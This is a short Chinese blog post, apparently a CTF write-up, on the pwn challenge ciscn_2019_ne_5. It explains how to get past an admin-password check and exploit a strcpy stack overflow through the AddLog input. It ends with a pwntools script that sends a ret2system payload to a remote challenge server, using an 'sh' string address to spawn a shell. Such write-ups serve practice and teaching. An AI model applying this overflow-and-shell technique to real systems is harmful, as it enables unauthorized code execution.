ciscn_2019_ne_5

这道题反汇编好像有点问题,但后面不知道为啥又好了。很奇怪,知道的师傅可以说一下。
不管了,看到主程序
image
看逻辑的题目
看到22行,判断,这个得绕过,不然就结束了。第一个输入就用了,即p.sendline(b'administrator')
image
get_flag这个函数是靠strcpy来导致栈溢出,可是src这个玩意好像没啥可以控制,回主程序看到Addlog这个函数。
image
这里可以完美的让src变大,然后完成溢出,那么payload就可以放这里了。
题目本身有system,bin/sh/好像没有。但是!!!!sh也可达到相同的效果。
image

这个的结尾是shimage
把地址返回到0x08482EA这里就可以了。

点击查看代码
from pwn import *
io=remote("node4.buuoj.cn",29714)
context(os='linux',arch='amd64')
elf=ELF("./ciscn_2019_ne_5")
sys_addr=elf.plt["system"]
io.recvuntil("Please input admin password:")
shell_door=0x80482EA
io.sendline('administrator')
io.recvuntil("0.Exit\n:")
io.sendline("1")
payload="a"*(0x48+0x4)+p32(sys_addr)+"/bin"+p32(shell_door)
io.recvuntil("Please input new log info:")
io.sendline(payload)
io.recvuntil("0.Exit\n:")
io.sendline("4")
io.interactive()
posted @ 2022-06-28 13:56  REPWNER  阅读(7)  评论(0)    收藏  举报